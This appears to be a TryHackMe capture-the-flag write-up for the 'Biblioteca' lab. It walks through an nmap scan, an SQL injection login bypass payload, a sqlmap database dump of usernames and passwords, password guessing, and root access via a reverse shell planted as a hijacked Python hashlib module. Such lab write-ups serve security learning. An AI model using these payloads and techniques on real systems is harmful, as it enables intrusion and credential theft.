Biblioteca — TryHackMe

Nmap:

Nmap scan report for 10.10.237.221
Host is up (0.33s latency).
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 00:0b:f9:bf:1d:49:a6:c3:fa:9c:5e:08:d1:6d:82:02 (RSA)
|   256 a1:0c:8e:5d:f0:7f:a5:32:b2:eb:2f:7a:bf:ed:bf:3d (ECDSA)
|_  256 9e:ef:c9:0a:fc:e9:9e:ed:e3:2d:b1:30:b6:5f:d4:0b (ED25519)
8000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title:  Login 
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 8000:

We have a login-page on port 8000.

Then i register a account, nothing special here. so i try simple sql injection payload. ' OR 1 -- - in username and password

Then i use sqlmap.

>>> sqlmap -r login.txt --dbs --dump
+----+-------------------+----------------+----------+
| id | email             | password       | username |
+----+-------------------+----------------+----------+
| 1  | smokey@email.boop | UWUWUWUWUWUWUW | smokey   |
| 2  | acid@mail.com     | password       | 4C1D     |
+----+-------------------+----------------+----------+

Let’s do ssh with this creds.

Get r00t4c1d (Rishi)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

SSH — Smokey

ssh-smokey

USER FLAG HINT — “Weak password”

We don’t have permission to cat a user.txt so we need to perform a privesc here. let’s see Weak password is the password of user hazel so i made a simple password list.

password
pa$$w0rd
rockyou
pass
hazel
h4zelpa$$

SSH — HAZEL

hasher.py :

hasher.py

After some research. we can perform python library hijaking to get a root.

ssh-hazel

Add reverse shell on /tmp/hashlib.py and set python path to /tmp and run a hasher.py

root

ROOTED!!